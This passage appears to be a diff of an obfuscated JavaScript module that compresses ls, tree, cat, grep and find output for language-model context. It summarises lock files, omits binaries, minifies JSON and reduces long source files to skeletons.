_0x1beb6f=_0x572fcd['split']('\x0a');if(_0x1beb6f[_0x20cee6(0x227)]<=0x3&&_0x572fcd[_0x20cee6(0x227)]>0x1388)return'[minified\x20file]\x20'+_0x572fcd[_0x20cee6(0x227)][_0x20cee6(0x205)]()+_0x20cee6(0x1e3)+_0x1beb6f[_0x20cee6(0x227)]+_0x20cee6(0x213);return null;}catch{return null;}}function filterJsonMinify(_0x5b73ba){const _0x40d379=a0_0x8457ad;try{const _0xa1ef9e=_0x5b73ba[_0x40d379(0x232)]();if(!_0xa1ef9e[_0x40d379(0x1e5)]('{')&&!_0xa1ef9e[_0x40d379(0x1e5)]('['))return null;const _0x2475f9=_0xa1ef9e[_0x40d379(0x215)]('\x0a');if(_0x2475f9[_0x40d379(0x227)]<=0x14)return null;const _0x43b0d9=JSON[_0x40d379(0x1e2)](_0xa1ef9e),_0x56d3b6=JSON[_0x40d379(0x25a)](_0x43b0d9);if(_0x56d3b6[_0x40d379(0x227)]<_0xa1ef9e[_0x40d379(0x227)])return _0x56d3b6;return null;}catch{return null;}}function filterLs(_0x8c7024){const _0x23f084=a0_0x8457ad,_0x5c82f2=_0x8c7024[_0x23f084(0x215)]('\x0a')['filter'](_0xaffc50=>_0xaffc50[_0x23f084(0x232)]()[_0x23f084(0x227)]>0x0);if(_0x5c82f2[_0x23f084(0x227)]===0x0)return _0x23f084(0x211);if(_0x5c82f2[_0x23f084(0x227)]<=0x1e)return _0x8c7024['trim']();const _0x413d5f=[],_0x5dc0df=[];for(const _0xd9e9f of _0x5c82f2){const _0x4f903a=_0xd9e9f['trim']();if(_0x4f903a['startsWith'](_0x23f084(0x21f))||_0x4f903a[_0x23f084(0x1e5)]('d')&&_0x4f903a[_0x23f084(0x26a)]('..'))continue;_0x4f903a[_0x23f084(0x242)]('/')||_0x4f903a['startsWith']('d')&&_0x4f903a['includes']('\x20')?_0x413d5f[_0x23f084(0x266)](_0x4f903a):_0x5dc0df['push'](_0x4f903a);}const _0xa6d2e4=[];return _0x413d5f[_0x23f084(0x227)]>0x0&&(_0x413d5f[_0x23f084(0x227)]<=0xf?_0xa6d2e4[_0x23f084(0x266)](..._0x413d5f):(_0xa6d2e4['push'](..._0x413d5f[_0x23f084(0x230)](0x0,0xa)),_0xa6d2e4[_0x23f084(0x266)]('...\x20+'+(_0x413d5f[_0x23f084(0x227)]-0xa)+_0x23f084(0x23c)))),_0x5dc0df[_0x23f084(0x227)]>0x0&&(_0x5dc0df[_0x23f084(0x227)]<=0x14?_0xa6d2e4[_0x23f084(0x266)](..._0x5dc0df):(_0xa6d2e4[_0x23f084(0x266)](..._0x5dc0df['slice'](0x0,0xf)),_0xa6d2e4[_0x23f084(0x266)](_0x23f084(0x241)+(_0x5dc0df[_0x23f084(0x227)]-0xf)+_0x23f084(0x1ff)))),_0xa6d2e4['push']('\x0a('+_0x413d5f[_0x23f084(0x227)]+_0x23f084(0x264)+_0x5dc0df[_0x23f084(0x227)]+'\x20files)'),_0xa6d2e4[_0x23f084(0x224)]('\x0a');}function filterTree(_0x5b5cc6){const _0x4fa4c0=a0_0x8457ad,_0x244c67=_0x5b5cc6['split']('\x0a');if(_0x244c67[_0x4fa4c0(0x227)]<=0x32)return _0x5b5cc6[_0x4fa4c0(0x232)]();const _0x7fc410=[];let _0x47f8c2=0x0,_0x102328=0x0,_0x18d3cf=0x0;for(const _0x4d6d4d of _0x244c67){const _0x19da52=_0x4d6d4d['match'](/(\d+)\s+director/),_0x1f7963=_0x4d6d4d['match'](/(\d+)\s+file/);if(_0x19da52)_0x18d3cf=parseInt(_0x19da52[0x1]);if(_0x1f7963)_0x102328=parseInt(_0x1f7963[0x1]);const _0x15dc5a=(_0x4d6d4d[_0x4fa4c0(0x210)](/^[│├└\s─]+/)||[''])[0x0][_0x4fa4c0(0x227)];_0x15dc5a<=0x4&&(_0x7fc410[_0x4fa4c0(0x266)](_0x4d6d4d),_0x47f8c2++);}return _0x244c67[_0x4fa4c0(0x227)]>_0x7fc410[_0x4fa4c0(0x227)]&&_0x7fc410[_0x4fa4c0(0x266)](_0x4fa4c0(0x25e)+_0x18d3cf+_0x4fa4c0(0x264)+_0x102328+_0x4fa4c0(0x275)),_0x7fc410[_0x4fa4c0(0x224)]('\x0a');}function filterCat(_0x124460,_0x304ed9=''){const _0xf2bec0=a0_0x8457ad,_0x5a7174=extractFilename(_0x304ed9);try{if(_0x5a7174&&isFeatureEnabled('lock')){const _0x1a070e=filterLockFile(_0x124460,_0x5a7174);if(_0x1a070e)return _0x1a070e;}if(isFeatureEnabled(_0xf2bec0(0x1fb))){const _0x18fc7e=filterBinaryOrMinified(_0x124460,_0x5a7174);if(_0x18fc7e)return _0x18fc7e;}if(isFeatureEnabled(_0xf2bec0(0x239))){const _0x5e0632=(0x0,generic_1[_0xf2bec0(0x24f)])(_0x124460);if(_0x5e0632)return _0x5e0632;}const _0xf01636=filterJsonMinify(_0x124460);if(_0xf01636)return _0xf01636;if(_0x5a7174&&isFeatureEnabled(_0xf2bec0(0x235))){const _0x5224d8=path[_0xf2bec0(0x22b)](_0x5a7174)[_0xf2bec0(0x23d)](),_0x5ee9ae=[_0xf2bec0(0x212),_0xf2bec0(0x262),_0xf2bec0(0x1df),_0xf2bec0(0x21c),_0xf2bec0(0x24c),_0xf2bec0(0x1f1),'.rs','.java','.c',_0xf2bec0(0x250),_0xf2bec0(0x1f5),_0xf2bec0(0x222),'.swift',_0xf2bec0(0x26e)];if(_0x5ee9ae['includes'](_0x5224d8)){const _0x53eb47=_0x124460[_0xf2bec0(0x215)]('\x0a');if(_0x53eb47[_0xf2bec0(0x227)]>0x64){const _0x19e6a6=[];_0x19e6a6[_0xf2bec0(0x266)]('[code\x20skeleton]\x20'+path[_0xf2bec0(0x243)](_0x5a7174)+'\x20('+_0x53eb47[_0xf2bec0(0x227)]+_0xf2bec0(0x1ed)),_0x19e6a6[_0xf2bec0(0x266)]('');for(const _0x20e7b1 of _0x53eb47){const _0x279c5f=_0x20e7b1[_0xf2bec0(0x232)]();if(_0x279c5f[_0xf2bec0(0x1e5)]('import\x20')||_0x279c5f[_0xf2bec0(0x1e5)]('from\x20')||_0x279c5f[_0xf2bec0(0x1e5)]('require(')||_0x279c5f[_0xf2bec0(0x210)](/=\s*require\(/)||_0x279c5f['startsWith'](_0xf2bec0(0x24e))||_0x279c5f[_0xf2bec0(0x1e5)](_0xf2bec0(0x22e))||_0x279c5f[_0xf2bec0(0x1e5)](_0xf2bec0(0x259)))_0x19e6a6[_0xf2bec0(0x266)](_0x20e7b1);else{if(_0x279c5f[_0xf2bec0(0x210)](/^(export\s+)?(async\s+)?function\s+/)||_0x279c5f[_0xf2bec0(0x210)](/^(export\s+)?(default\s+)?class\s+/)||_0x279c5f['match'](/^(export\s+)?(type|interface|enum)\s+/)||_0x279c5f['match'](/^(async\s+)?def\s+/)||_0x279c5f['match'](/^func\s+/)||_0x279c5f[_0xf2bec0(0x210)](/^type\s+\w+\s+(struct|interface)/)||_0x279c5f[_0xf2bec0(0x210)](/^(pub\s+)?(async\s+)?fn\s+/)||_0x279c5f[_0xf2bec0(0x210)](/^(pub\s+)?(struct|enum|trait|impl)\s+/)||_0x279c5f[_0xf2bec0(0x210)](/^(public|private|protected|static)\s+/))_0x19e6a6[_0xf2bec0(0x266)](_0x20e7b1);else{if(_0x279c5f['startsWith'](_0xf2bec0(0x273))&&!_0x279c5f[_0xf2bec0(0x26a)]('=>')&&_0x279c5f[_0xf2bec0(0x227)]<0x78)_0x19e6a6[_0xf2bec0(0x266)](_0x20e7b1);else _0x279c5f['startsWith']('@')&&!_0x279c5f[_0xf2bec0(0x1e5)](_0xf2bec0(0x22c))&&!_0x279c5f[_0xf2bec0(0x1e5)](_0xf2bec0(0x20a))&&_0x19e6a6[_0xf2bec0(0x266)](_0x20e7b1);}}}_0x19e6a6[_0xf2bec0(0x266)](''),_0x19e6a6[_0xf2bec0(0x266)]('('+_0x53eb47[_0xf2bec0(0x227)]+_0xf2bec0(0x201)+(_0x19e6a6['length']-0x2)+_0xf2bec0(0x1f8));const _0xed3b1a=_0x19e6a6[_0xf2bec0(0x224)]('\x0a');if(_0xed3b1a[_0xf2bec0(0x227)]<_0x124460[_0xf2bec0(0x227)])return _0xed3b1a;}}}}catch{}let _0x2baa3b=(0x0,generic_1['collapseWhitespace'])(_0x124460);if(_0x5a7174){const _0x4480b9=path['extname'](_0x5a7174)['toLowerCase']();_0x2baa3b=(0x0,generic_1[_0xf2bec0(0x24b)])(_0x2baa3b,_0x4480b9);}const _0x11ca41=_0x2baa3b[_0xf2bec0(0x215)]('\x0a');if(_0x11ca41[_0xf2bec0(0x227)]<=0x64)return _0x2baa3b;const _0x31aa69=[];return _0x31aa69[_0xf2bec0(0x266)](..._0x11ca41[_0xf2bec0(0x230)](0x0,0x32)),_0x31aa69[_0xf2bec0(0x266)](_0xf2bec0(0x247)+(_0x11ca41[_0xf2bec0(0x227)]-0x50)+_0xf2bec0(0x253)),_0x31aa69['push'](..._0x11ca41[_0xf2bec0(0x230)](-0x1e)),_0x31aa69[_0xf2bec0(0x266)]('\x0a('+_0x11ca41['length']+_0xf2bec0(0x214)),_0x31aa69[_0xf2bec0(0x224)]('\x0a');}function filterGrep(_0x1c818f){const _0x2d9f96=a0_0x8457ad,_0x4673a=_0x1c818f[_0x2d9f96(0x215)]('\x0a')[_0x2d9f96(0x245)](_0x22dc12=>_0x22dc12[_0x2d9f96(0x232)]()[_0x2d9f96(0x227)]>0x0);if(_0x4673a['length']===0x0)return _0x2d9f96(0x1ea);if(_0x4673a['length']<=0x32)return _0x1c818f[_0x2d9f96(0x232)]();const _0x63f196={},_0x37f490=[];for(const _0x4b25b3 of _0x4673a){const _0x46181b=_0x4b25b3[_0x2d9f96(0x216)](':');if(_0x46181b>0x0&&_0x46181b<0xc8){const _0x59d79d=_0x4b25b3['substring'](0x0,_0x46181b);if(_0x59d79d[_0x2d9f96(0x26a)]('/')||_0x59d79d[_0x2d9f96(0x26a)]('\x5c')||_0x59d79d[_0x2d9f96(0x26a)]('.')){if(!_0x63f196[_0x59d79d])_0x63f196[_0x59d79d]=[];_0x63f196[_0x59d79d][_0x2d9f96(0x266)](_0x4b25b3['substring'](_0x46181b+0x1)[_0x2d9f96(0x232)]());continue;}}_0x37f490[_0x2d9f96(0x266)](_0x4b25b3);}const _0x12ab83=[],_0x494aab=Object[_0x2d9f96(0x225)](_0x63f196);if(_0x494aab[_0x2d9f96(0x227)]>0x0){const _0xbcf995=0x14,_0x42f4c3=_0x494aab[_0x2d9f96(0x230)](0x0,_0xbcf995);for(const _0x2b6de9 of _0x42f4c3){const _0x3a15b1=_0x63f196[_0x2b6de9];if(_0x3a15b1['length']<=0x3)for(const _0x144b07 of _0x3a15b1){_0x12ab83[_0x2d9f96(0x266)](_0x2b6de9+':\x20'+_0x144b07);}else _0x12ab83[_0x2d9f96(0x266)](_0x2b6de9+':\x20'+_0x3a15b1[0x0]),_0x12ab83[_0x2d9f96(0x266)](_0x2b6de9+_0x2d9f96(0x25f)+_0x3a15b1[_0x2d9f96(0x227)]+_0x2d9f96(0x252));}_0x494aab[_0x2d9f96(0x227)]>_0xbcf995&&_0x12ab83[_0x2d9f96(0x266)](_0x2d9f96(0x241)+(_0x494aab[_0x2d9f96(0x227)]-_0xbcf995)+_0x2d9f96(0x220));}if(_0x37f490[_0x2d9f96(0x227)]>0x0){const _0x4ec7a6=0x1e;_0x12ab83[_0x2d9f96(0x266)](..._0x37f490[_0x2d9f96(0x230)](0x0,_0x4ec7a6)),_0x37f490[_0x2d9f96(0x227)]>_0x4ec7a6&&_0x12ab83[_0x2d9f96(0x266)](_0x2d9f96(0x241)+(_0x37f490['length']-_0x4ec7a6)+'\x20more\x20matches');}const _0x8d9509=_0x4673a[_0x2d9f96(0x227)];return _0x12ab83['push']('\x0a('+_0x8d9509+_0x2d9f96(0x24d)+(_0x494aab[_0x2d9f96(0x227)]||'?')+_0x2d9f96(0x226)),_0x12ab83['join']('\x0a');}function filterFind(_0x4b6864){const _0x3d1cbd=a0_0x8457ad,_0x1cfc1a=_0x4b6864[_0x3d1cbd(0x215)]('\x0a')['filter'](_0x4f5d11=>_0x4f5d11['trim']()[_0x3d1cbd(0x227)]>0x0);if(_0x1cfc1a[_0x3d1cbd(0x227)]===0x0)return _0x3d1cbd(0x1fe);if(_0x1cfc1a[_0x3d1cbd(0x227)]<=0x32)return _0x4b6864[_0x3d1cbd(0x232)]();const _0xb42f50={};for(const _0x31104b of _0x1cfc1a){const _0x11271b=path[_0x3d1cbd(0x1e8)](_0x31104b[_0x3d1cbd(0x232)]())||'.';_0xb42f50[_0x11271b]=(_0xb42f50[_0x11271b]||0x0)+0x1;}const _0x40e065=Object[_0x3d1cbd(0x248)](_0xb42f50)[_0x3d1cbd(0x1fd)]((_0x202222,_0x19b338)=>_0x19b338[0x1]-_0x202222[0x1]),_0xe6f9cf=[_0x1cfc1a[_0x3d1cbd(0x227)]+_0x3d1cbd(0x21a)+_0x40e065[_0x3d1cbd(0x227)]+'\x20directories',''],_0x53a711=0x1e;for(const [_0xd0087e,_0x2c591f]of _0x40e065[_0x3d1cbd(0x230)](0x0,_0x53a711)){_0xe6f9cf[_0x3d1cbd(0x266)]('\x20\x20'+_0xd0087e+'/\x20('+_0x2c591f+_0x3d1cbd(0x226));}return _0x40e065[_0x3d1cbd(0x227)]>_0x53a711&&_0xe6f9cf[_0x3d1cbd(0x266)](_0x3d1cbd(0x21d)+(_0x40e065[_0x3d1cbd(0x227)]-_0x53a711)+_0x3d1cbd(0x23c)),_0xe6f9cf[_0x3d1cbd(0x224)]('\x0a');}
1
+ 'use strict';const a0_0x1162d7=a0_0x2135;(function(_0x269706,_0x355d5a){const _0x17ef99=a0_0x2135,_0x38d9bd=_0x269706();while(!![]){try{const _0x1c5c85=parseInt(_0x17ef99(0x239))/0x1*(-parseInt(_0x17ef99(0x1c6))/0x2)+parseInt(_0x17ef99(0x249))/0x3*(-parseInt(_0x17ef99(0x23e))/0x4)+-parseInt(_0x17ef99(0x1f2))/0x5+parseInt(_0x17ef99(0x1db))/0x6+-parseInt(_0x17ef99(0x1ff))/0x7*(parseInt(_0x17ef99(0x219))/0x8)+-parseInt(_0x17ef99(0x1f4))/0x9*(-parseInt(_0x17ef99(0x216))/0xa)+parseInt(_0x17ef99(0x1cc))/0xb;if(_0x1c5c85===_0x355d5a)break;else _0x38d9bd['push'](_0x38d9bd['shift']());}catch(_0x41237c){_0x38d9bd['push'](_0x38d9bd['shift']());}}}(a0_0x1679,0x9efc2));var __createBinding=this&&this[a0_0x1162d7(0x1e4)]||(Object[a0_0x1162d7(0x23a)]?function(_0x50199b,_0x4891d4,_0x5153e4,_0xee1e9e){const _0x469e96=a0_0x1162d7;if(_0xee1e9e===undefined)_0xee1e9e=_0x5153e4;var _0x1b4995=Object['getOwnPropertyDescriptor'](_0x4891d4,_0x5153e4);(!_0x1b4995||(_0x469e96(0x230)in _0x1b4995?!_0x4891d4['__esModule']:_0x1b4995['writable']||_0x1b4995[_0x469e96(0x222)]))&&(_0x1b4995={'enumerable':!![],'get':function(){return _0x4891d4[_0x5153e4];}}),Object[_0x469e96(0x20e)](_0x50199b,_0xee1e9e,_0x1b4995);}:function(_0xbc40cf,_0x53fc0f,_0x579530,_0x2f58b6){if(_0x2f58b6===undefined)_0x2f58b6=_0x579530;_0xbc40cf[_0x2f58b6]=_0x53fc0f[_0x579530];}),__setModuleDefault=this&&this[a0_0x1162d7(0x211)]||(Object[a0_0x1162d7(0x23a)]?function(_0x511dd3,_0x5796d5){const _0x52ac00=a0_0x1162d7;Object[_0x52ac00(0x20e)](_0x511dd3,_0x52ac00(0x243),{'enumerable':!![],'value':_0x5796d5});}:function(_0x4ccc52,_0x297ea7){const _0x511141=a0_0x1162d7;_0x4ccc52[_0x511141(0x243)]=_0x297ea7;}),__importStar=this&&this[a0_0x1162d7(0x224)]||(function(){var _0x3d3a82=function(_0x581624){const _0x410c11=a0_0x2135;return _0x3d3a82=Object[_0x410c11(0x21f)]||function(_0x5ab0a0){const _0x386c99=_0x410c11;var _0x28ce6f=[];for(var _0x37f308 in _0x5ab0a0)if(Object[_0x386c99(0x1c1)][_0x386c99(0x21e)][_0x386c99(0x1fc)](_0x5ab0a0,_0x37f308))_0x28ce6f[_0x28ce6f[_0x386c99(0x253)]]=_0x37f308;return _0x28ce6f;},_0x3d3a82(_0x581624);};return function(_0x11a193){const _0x38a6ca=a0_0x2135;if(_0x11a193&&_0x11a193[_0x38a6ca(0x21d)])return _0x11a193;var _0x5aa6b6={};if(_0x11a193!=null){for(var _0x4f9abb=_0x3d3a82(_0x11a193),_0xdfa2ba=0x0;_0xdfa2ba<_0x4f9abb[_0x38a6ca(0x253)];_0xdfa2ba++)if(_0x4f9abb[_0xdfa2ba]!==_0x38a6ca(0x243))__createBinding(_0x5aa6b6,_0x11a193,_0x4f9abb[_0xdfa2ba]);}return __setModuleDefault(_0x5aa6b6,_0x11a193),_0x5aa6b6;};}());Object[a0_0x1162d7(0x20e)](exports,a0_0x1162d7(0x21d),{'value':!![]}),exports['filterLs']=filterLs,exports['filterTree']=filterTree,exports[a0_0x1162d7(0x217)]=filterCat,exports[a0_0x1162d7(0x1cb)]=filterGrep,exports[a0_0x1162d7(0x1c9)]=filterFind;const path=__importStar(require(a0_0x1162d7(0x1cd))),generic_1=require(a0_0x1162d7(0x251)),tracker_1=require(a0_0x1162d7(0x1d0));function isFeatureEnabled(_0x5d8fe2){const _0x5a3a99=a0_0x1162d7;try{const _0x4df771=tracker_1['tracker'][_0x5a3a99(0x1e1)](),_0x572619=_0x4df771[_0x5a3a99(0x23d)];if(!_0x572619||_0x572619[_0x5d8fe2]===undefined)return!![];return _0x572619[_0x5d8fe2]!==![];}catch{return!![];}}const LOCK_FILES=[a0_0x1162d7(0x1c5),a0_0x1162d7(0x212),a0_0x1162d7(0x1f3),a0_0x1162d7(0x24c),a0_0x1162d7(0x1e3),a0_0x1162d7(0x226),'composer.lock',a0_0x1162d7(0x1ef),a0_0x1162d7(0x201)],BINARY_EXTENSIONS=[a0_0x1162d7(0x24f),a0_0x1162d7(0x24d),'.map',a0_0x1162d7(0x1dd),'.png',a0_0x1162d7(0x229),a0_0x1162d7(0x209),a0_0x1162d7(0x220),a0_0x1162d7(0x1d9),a0_0x1162d7(0x20d),a0_0x1162d7(0x213),a0_0x1162d7(0x24a),'.pdf',a0_0x1162d7(0x1d6),a0_0x1162d7(0x21c),a0_0x1162d7(0x20b),'.gz',a0_0x1162d7(0x228),'.7z',a0_0x1162d7(0x204),a0_0x1162d7(0x240),a0_0x1162d7(0x1ee),a0_0x1162d7(0x247),a0_0x1162d7(0x1d1),'.bin',a0_0x1162d7(0x1c0),a0_0x1162d7(0x1da),'.db','.sqlite3','.woff',a0_0x1162d7(0x22f),'.ttf',a0_0x1162d7(0x1d4),a0_0x1162d7(0x1f1),'.mp3',a0_0x1162d7(0x23c),a0_0x1162d7(0x1c4),a0_0x1162d7(0x221),a0_0x1162d7(0x1ec),a0_0x1162d7(0x1f6),a0_0x1162d7(0x234),a0_0x1162d7(0x1ce),a0_0x1162d7(0x1f9),'.o',a0_0x1162d7(0x1e8)];function a0_0x2135(_0x86cfcf,_0x1d1b21){const _0x16797f=a0_0x1679();return a0_0x2135=function(_0x21350f,_0x3db057){_0x21350f=_0x21350f-0x1be;let _0xeba2fb=_0x16797f[_0x21350f];return _0xeba2fb;},a0_0x2135(_0x86cfcf,_0x1d1b21);}function extractFilename(_0x4727a4){const _0x14d6aa=a0_0x1162d7,_0x5146cf=_0x4727a4[_0x14d6aa(0x1df)]()['split'](/\s+/);for(let _0x205111=0x1;_0x205111<_0x5146cf['length'];_0x205111++){if(!_0x5146cf[_0x205111][_0x14d6aa(0x1f7)]('-'))return _0x5146cf[_0x205111];}return null;}function filterLockFile(_0x23515f,_0x5d6331){const _0x56e519=a0_0x1162d7;try{const _0x185f66=path[_0x56e519(0x1d2)](_0x5d6331)[_0x56e519(0x23f)]();if(!LOCK_FILES['some'](_0x464968=>_0x185f66===_0x464968[_0x56e519(0x23f)]()))return null;const _0x2203c5=_0x23515f['length'];let _0x344629=0x0;if(_0x185f66===_0x56e519(0x1c5))try{const _0xb2fd0e=JSON[_0x56e519(0x22a)](_0x23515f);_0x344629=Object[_0x56e519(0x1eb)](_0xb2fd0e[_0x56e519(0x1ea)]||_0xb2fd0e['dependencies']||{})['length'];}catch{_0x344629=(_0x23515f[_0x56e519(0x1e9)](/"resolved":/g)||[])['length'];}else{if(_0x185f66==='yarn.lock')_0x344629=(_0x23515f['match'](/^"?[^#\s][^:]*:$/gm)||[])['length'];else{if(_0x185f66===_0x56e519(0x208)||_0x185f66===_0x56e519(0x226))_0x344629=(_0x23515f[_0x56e519(0x1e9)](/\[\[package\]\]/g)||[])[_0x56e519(0x253)];else{if(_0x185f66===_0x56e519(0x1e3))_0x344629=Math[_0x56e519(0x210)](_0x23515f[_0x56e519(0x200)]('\x0a')[_0x56e519(0x245)](_0x4f4742=>_0x4f4742[_0x56e519(0x1df)]())[_0x56e519(0x253)]/0x2);else{if(_0x185f66===_0x56e519(0x1e5))try{_0x344629=JSON['parse'](_0x23515f)[_0x56e519(0x1ea)]?.[_0x56e519(0x253)]||0x0;}catch{}else _0x185f66===_0x56e519(0x1f3)?_0x344629=(_0x23515f[_0x56e519(0x1e9)](/^\s{2}['"@a-z]/gm)||[])[_0x56e519(0x253)]:_0x344629=_0x23515f[_0x56e519(0x200)]('\x0a')['filter'](_0x303fe7=>_0x303fe7[_0x56e519(0x1df)]())[_0x56e519(0x253)];}}}}return _0x56e519(0x232)+path[_0x56e519(0x1d2)](_0x5d6331)+':\x20'+_0x344629+_0x56e519(0x218)+_0x2203c5[_0x56e519(0x242)]()+_0x56e519(0x23b);}catch{return null;}}function filterBinaryOrMinified(_0x2d4105,_0x4cdecc){const _0x69d974=a0_0x1162d7;try{if(_0x4cdecc){const _0x489831=_0x4cdecc['toLowerCase']();for(const _0x52456b of BINARY_EXTENSIONS){if(_0x489831[_0x69d974(0x1fe)](_0x52456b))return'[binary/minified\x20file]\x20'+path['basename'](_0x4cdecc)+',\x20'+_0x2d4105[_0x69d974(0x253)][_0x69d974(0x242)]()+_0x69d974(0x1f0)+_0x52456b+'\x20(content\x20omitted\x20—\x20not\x20useful\x20for\x20LLM\x20context)';}}const _0x1a0f48=_0x2d4105[_0x69d974(0x1de)](0x0,0x3e8);let _0x3e3a6a=0x0;for(let _0x4ef19e=0x0;_0x4ef19e<_0x1a0f48[_0x69d974(0x253)];_0x4ef19e++){if(_0x1a0f48[_0x69d974(0x1fd)](_0x4ef19e)===0x0)_0x3e3a6a++;}if(_0x3e3a6a>0x0)return _0x69d974(0x1e7)+_0x2d4105[_0x69d974(0x253)]['toLocaleString']()+_0x69d974(0x207);let _0x289a65=0x0;for(let _0x597b3f=0x0;_0x597b3f<_0x1a0f48['length'];_0x597b3f++){const _0x57bfc5=_0x1a0f48[_0x69d974(0x1fd)](_0x597b3f);if(_0x57bfc5<0x20&&_0x57bfc5!==0xa&&_0x57bfc5!==0xd&&_0x57bfc5!==0x9)_0x289a65++;}if(_0x1a0f48[_0x69d974(0x253)]>0x64&&_0x289a65>_0x1a0f48[_0x69d974(0x253)]*0.1)return _0x69d974(0x1e7)+_0x2d4105[_0x69d974(0x253)][_0x69d974(0x242)]()+'\x20chars\x20(high\x20non-printable\x20ratio\x20—\x20content\x20omitted)';const _0x1fe37d=_0x2d4105[_0x69d974(0x200)]('\x0a');if(_0x1fe37d[_0x69d974(0x253)]<=0x3&&_0x2d4105[_0x69d974(0x253)]>0x1388)return _0x69d974(0x1e6)+_0x2d4105[_0x69d974(0x253)]['toLocaleString']()+'\x20chars\x20across\x20'+_0x1fe37d[_0x69d974(0x253)]+_0x69d974(0x1c3);return null;}catch{return null;}}function filterJsonMinify(_0xcba4fb){const _0x3f3a8e=a0_0x1162d7;try{const _0xa73847=_0xcba4fb[_0x3f3a8e(0x1df)]();if(!_0xa73847[_0x3f3a8e(0x1f7)]('{')&&!_0xa73847[_0x3f3a8e(0x1f7)]('['))return null;const _0x57b54b=_0xa73847['split']('\x0a');if(_0x57b54b[_0x3f3a8e(0x253)]<=0x14)return null;const _0x8e7dd4=JSON[_0x3f3a8e(0x22a)](_0xa73847),_0x200f63=JSON[_0x3f3a8e(0x1d5)](_0x8e7dd4);if(_0x200f63['length']<_0xa73847[_0x3f3a8e(0x253)])return _0x200f63;return null;}catch{return null;}}function filterLs(_0x1eaaa9){const _0xdacf21=a0_0x1162d7,_0x3eff4b=_0x1eaaa9[_0xdacf21(0x200)]('\x0a')[_0xdacf21(0x245)](_0x366263=>_0x366263[_0xdacf21(0x1df)]()[_0xdacf21(0x253)]>0x0);if(_0x3eff4b[_0xdacf21(0x253)]===0x0)return _0xdacf21(0x1cf);if(_0x3eff4b[_0xdacf21(0x253)]<=0x1e)return _0x1eaaa9[_0xdacf21(0x1df)]();const _0x120374=[],_0xca8b88=[];for(const _0x3b355d of _0x3eff4b){const _0x4085d5=_0x3b355d[_0xdacf21(0x1df)]();if(_0x4085d5[_0xdacf21(0x1f7)](_0xdacf21(0x24e))||_0x4085d5[_0xdacf21(0x1f7)]('d')&&_0x4085d5['includes']('..'))continue;_0x4085d5['endsWith']('/')||_0x4085d5[_0xdacf21(0x1f7)]('d')&&_0x4085d5[_0xdacf21(0x1fa)]('\x20')?_0x120374[_0xdacf21(0x22b)](_0x4085d5):_0xca8b88[_0xdacf21(0x22b)](_0x4085d5);}const _0x1ab9cc=[];return _0x120374[_0xdacf21(0x253)]>0x0&&(_0x120374['length']<=0xf?_0x1ab9cc['push'](..._0x120374):(_0x1ab9cc[_0xdacf21(0x22b)](..._0x120374[_0xdacf21(0x1d7)](0x0,0xa)),_0x1ab9cc[_0xdacf21(0x22b)](_0xdacf21(0x225)+(_0x120374[_0xdacf21(0x253)]-0xa)+_0xdacf21(0x202)))),_0xca8b88[_0xdacf21(0x253)]>0x0&&(_0xca8b88[_0xdacf21(0x253)]<=0x14?_0x1ab9cc[_0xdacf21(0x22b)](..._0xca8b88):(_0x1ab9cc[_0xdacf21(0x22b)](..._0xca8b88[_0xdacf21(0x1d7)](0x0,0xf)),_0x1ab9cc[_0xdacf21(0x22b)](_0xdacf21(0x225)+(_0xca8b88[_0xdacf21(0x253)]-0xf)+_0xdacf21(0x205)))),_0x1ab9cc[_0xdacf21(0x22b)]('\x0a('+_0x120374['length']+_0xdacf21(0x1e2)+_0xca8b88[_0xdacf21(0x253)]+_0xdacf21(0x20f)),_0x1ab9cc[_0xdacf21(0x1c2)]('\x0a');}function filterTree(_0x209730){const _0x20c0de=a0_0x1162d7,_0x5a0089=_0x209730['split']('\x0a');if(_0x5a0089[_0x20c0de(0x253)]<=0x32)return _0x209730[_0x20c0de(0x1df)]();const _0x5af45d=[];let _0x542eff=0x0,_0x36f528=0x0,_0x40fa12=0x0;for(const _0x7ebb10 of _0x5a0089){const _0x3755db=_0x7ebb10['match'](/(\d+)\s+director/),_0x465430=_0x7ebb10['match'](/(\d+)\s+file/);if(_0x3755db)_0x40fa12=parseInt(_0x3755db[0x1]);if(_0x465430)_0x36f528=parseInt(_0x465430[0x1]);const _0xe31847=(_0x7ebb10[_0x20c0de(0x1e9)](/^[│├└\s─]+/)||[''])[0x0][_0x20c0de(0x253)];_0xe31847<=0x4&&(_0x5af45d[_0x20c0de(0x22b)](_0x7ebb10),_0x542eff++);}return _0x5a0089[_0x20c0de(0x253)]>_0x5af45d[_0x20c0de(0x253)]&&_0x5af45d[_0x20c0de(0x22b)]('\x0a...\x20('+_0x40fa12+_0x20c0de(0x1e2)+_0x36f528+'\x20files\x20total\x20—\x20deep\x20entries\x20truncated)'),_0x5af45d[_0x20c0de(0x1c2)]('\x0a');}function filterCat(_0x54856a,_0x4783cd=''){const _0xfca43b=a0_0x1162d7,_0x359153=extractFilename(_0x4783cd);try{if(_0x359153&&isFeatureEnabled(_0xfca43b(0x246))){const _0x19aa0b=filterLockFile(_0x54856a,_0x359153);if(_0x19aa0b)return _0x19aa0b;}if(isFeatureEnabled('binary')){const _0x4f3771=filterBinaryOrMinified(_0x54856a,_0x359153);if(_0x4f3771)return _0x4f3771;}if(isFeatureEnabled(_0xfca43b(0x235))){const _0x20f77f=(0x0,generic_1[_0xfca43b(0x1ca)])(_0x54856a);if(_0x20f77f)return _0x20f77f;}const _0x8bf557=filterJsonMinify(_0x54856a);if(_0x8bf557)return _0x8bf557;if(_0x359153&&isFeatureEnabled(_0xfca43b(0x24b))){const _0x41abaa=path['extname'](_0x359153)[_0xfca43b(0x23f)](),_0x526212=[_0xfca43b(0x237),'.js',_0xfca43b(0x1c7),_0xfca43b(0x20a),_0xfca43b(0x214),_0xfca43b(0x241),_0xfca43b(0x254),_0xfca43b(0x1be),'.c',_0xfca43b(0x21b),_0xfca43b(0x233),_0xfca43b(0x1f5),_0xfca43b(0x1d8),_0xfca43b(0x236)];if(_0x526212[_0xfca43b(0x1fa)](_0x41abaa)){const _0x174b33=_0x54856a[_0xfca43b(0x200)]('\x0a');if(_0x174b33[_0xfca43b(0x253)]>0x64){const _0x3c35c0=[];_0x3c35c0[_0xfca43b(0x22b)](_0xfca43b(0x1e0)+path[_0xfca43b(0x1d2)](_0x359153)+'\x20('+_0x174b33['length']+'\x20lines)'),_0x3c35c0[_0xfca43b(0x22b)]('');for(const _0x4f3db9 of _0x174b33){const 